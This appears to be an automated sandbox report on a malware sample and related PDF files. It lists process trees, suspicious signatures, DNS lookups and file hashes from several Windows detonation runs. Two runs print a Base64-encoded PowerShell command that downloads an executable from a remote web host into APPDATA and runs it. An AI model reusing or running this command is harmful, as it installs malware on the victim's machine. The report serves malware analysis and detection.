MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-22 22:35

Signatures

PDF contains JavaScript

pdf javascript

Unsigned PE

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Analysis: behavioral7

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240508-en

Max time kernel

141s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\038943908782309479427030947883209347209874092807409207304907320984793.exe"

Signatures

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2244 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\038943908782309479427030947883209347209874092807409207304907320984793.exe	C:\Windows\SysWOW64\cmd.exe
PID 2244 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\038943908782309479427030947883209347209874092807409207304907320984793.exe	C:\Windows\SysWOW64\cmd.exe
PID 2244 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\038943908782309479427030947883209347209874092807409207304907320984793.exe	C:\Windows\SysWOW64\cmd.exe
PID 2244 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\038943908782309479427030947883209347209874092807409207304907320984793.exe	C:\Windows\SysWOW64\cmd.exe
PID 2056 wrote to memory of 1424	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2056 wrote to memory of 1424	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2056 wrote to memory of 1424	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2056 wrote to memory of 1424	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\038943908782309479427030947883209347209874092807409207304907320984793.exe

"C:\Users\Admin\AppData\Local\Temp\038943908782309479427030947883209347209874092807409207304907320984793.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c Powershell.exe -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AbgBvAGMAcwAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAaABlAG0AZQBzAC8AYwBhAGsAZQAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMAA2ADUAOAA0ADMALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwADYAMAA4ADEAMwBGAEQARgBFADAARgBGAEYAMAAyADAAQgBGAEUARgBGADAAOAAxADEAQwA4ADAAMgAwADcAMABDADAARABGAEEAMAA1ADAANQBGAEYAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOABGAEIAMAAyADAANwAwADAARgBFADAAQgAwAEMAQwA3AEYAQwBGAEEARgBCAEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBGADMARABBAEUAOABEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAwADYANQA4ADQAMwAuAGUAeABlADsA

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Powershell.exe -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AbgBvAGMAcwAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAaABlAG0AZQBzAC8AYwBhAGsAZQAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMAA2ADUAOAA0ADMALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwADYAMAA4ADEAMwBGAEQARgBFADAARgBGAEYAMAAyADAAQgBGAEUARgBGADAAOAAxADEAQwA4ADAAMgAwADcAMABDADAARABGAEEAMAA1ADAANQBGAEYAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOABGAEIAMAAyADAANwAwADAARgBFADAAQgAwAEMAQwA3AEYAQwBGAEEARgBCAEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBGADMARABBAEUAOABEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAwADYANQA4ADQAMwAuAGUAeABlADsA

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	nocs.com.br	udp

Files

memory/1424-2-0x0000000073C81000-0x0000000073C82000-memory.dmp

memory/1424-3-0x0000000073C80000-0x000000007422B000-memory.dmp

memory/1424-4-0x0000000073C80000-0x000000007422B000-memory.dmp

memory/1424-5-0x0000000073C80000-0x000000007422B000-memory.dmp

memory/1424-7-0x0000000073C80000-0x000000007422B000-memory.dmp

memory/2244-8-0x0000000000400000-0x0000000000446000-memory.dmp

Analysis: behavioral19

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240220-en

Max time kernel

120s

Max time network

127s

Command Line

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-58134.-2017.pdf"

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Processes

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-58134.-2017.pdf"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5	e908e33600fcf9bc7a62ab162416a7f2
SHA1	d41e4a98645e6c3307b9ca9d425ec5841d2dd0fe
SHA256	5cca75d418bd541b4a88fffb68ed411aebc03eea35030fd22a3261ed64b2dac7
SHA512	3176a1e5a9d92b778a7479f4da514a599b86ebb0742c0feb2d1a663cfe0c58aa6c472aff47c2d712d150e33653a59618ff916cfc1f8cbe0f8f25729ee98a46b5

Analysis: behavioral5

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240419-en

Max time kernel

141s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\080920172142\038943908782309479427030947883209347209874092807409207304907320984793.exe"

Signatures

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2100 wrote to memory of 2084	N/A	C:\Users\Admin\AppData\Local\Temp\080920172142\038943908782309479427030947883209347209874092807409207304907320984793.exe	C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2084	N/A	C:\Users\Admin\AppData\Local\Temp\080920172142\038943908782309479427030947883209347209874092807409207304907320984793.exe	C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2084	N/A	C:\Users\Admin\AppData\Local\Temp\080920172142\038943908782309479427030947883209347209874092807409207304907320984793.exe	C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2084	N/A	C:\Users\Admin\AppData\Local\Temp\080920172142\038943908782309479427030947883209347209874092807409207304907320984793.exe	C:\Windows\SysWOW64\cmd.exe
PID 2084 wrote to memory of 1664	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2084 wrote to memory of 1664	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2084 wrote to memory of 1664	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2084 wrote to memory of 1664	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\080920172142\038943908782309479427030947883209347209874092807409207304907320984793.exe

"C:\Users\Admin\AppData\Local\Temp\080920172142\038943908782309479427030947883209347209874092807409207304907320984793.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c Powershell.exe -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AbgBvAGMAcwAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAaABlAG0AZQBzAC8AYwBhAGsAZQAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMAA2ADUAOAA0ADMALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwADYAMAA4ADEAMwBGAEQARgBFADAARgBGAEYAMAAyADAAQgBGAEUARgBGADAAOAAxADEAQwA4ADAAMgAwADcAMABDADAARABGAEEAMAA1ADAANQBGAEYAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOABGAEIAMAAyADAANwAwADAARgBFADAAQgAwAEMAQwA3AEYAQwBGAEEARgBCAEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBGADMARABBAEUAOABEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAwADYANQA4ADQAMwAuAGUAeABlADsA

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Powershell.exe -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AbgBvAGMAcwAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAaABlAG0AZQBzAC8AYwBhAGsAZQAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMAA2ADUAOAA0ADMALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwADYAMAA4ADEAMwBGAEQARgBFADAARgBGAEYAMAAyADAAQgBGAEUARgBGADAAOAAxADEAQwA4ADAAMgAwADcAMABDADAARABGAEEAMAA1ADAANQBGAEYAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOABGAEIAMAAyADAANwAwADAARgBFADAAQgAwAEMAQwA3AEYAQwBGAEEARgBCAEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBGADMARABBAEUAOABEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAwADYANQA4ADQAMwAuAGUAeABlADsA

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	nocs.com.br	udp

Files

memory/1664-2-0x0000000073DB1000-0x0000000073DB2000-memory.dmp

memory/1664-3-0x0000000073DB0000-0x000000007435B000-memory.dmp

memory/1664-4-0x0000000073DB0000-0x000000007435B000-memory.dmp

memory/1664-5-0x0000000073DB0000-0x000000007435B000-memory.dmp

memory/1664-6-0x0000000073DB0000-0x000000007435B000-memory.dmp

memory/1664-8-0x0000000073DB0000-0x000000007435B000-memory.dmp

memory/2100-9-0x0000000000400000-0x0000000000446000-memory.dmp

Analysis: behavioral15

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240221-en

Max time kernel

120s

Max time network

125s

Command Line

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-37712.-2017.pdf"

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Processes

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-37712.-2017.pdf"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5	ac1477a4539d0233bd5a694a5dd95c86
SHA1	3998006006d1c31ea381587227ccf84d3de9ad9e
SHA256	04eea67f67e2abba4394a457fb13130b6fee13901a0d9f3a2cc45ea25f7393dd
SHA512	a35a42bf05a65d97b8bcb55398019d6dc385508df99a207eaf2cb3302285d916ace5c6a580a493f52c99f6c0b7987516da5c87d65556e4e895238e13958b3d91

Analysis: behavioral22

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win10v2004-20240508-en

Max time kernel

133s

Max time network

142s

Command Line

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-69356.2017.pdf"

Signatures

Checks processor information in registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of WriteProcessMemory

Processes

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-69356.2017.pdf"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=059D1EAEA028B7417B03F7B8A2BEB707 --mojo-platform-channel-handle=1744 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=21BDD417A3382266360FF6401E4D9B2E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=21BDD417A3382266360FF6401E4D9B2E --renderer-client-id=2 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3CB684122DDE476D005B524579D9E266 --mojo-platform-channel-handle=2316 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=09E26C0A6D32EED97065E1CD5298A3FC --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=09E26C0A6D32EED97065E1CD5298A3FC --renderer-client-id=5 --mojo-platform-channel-handle=1860 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

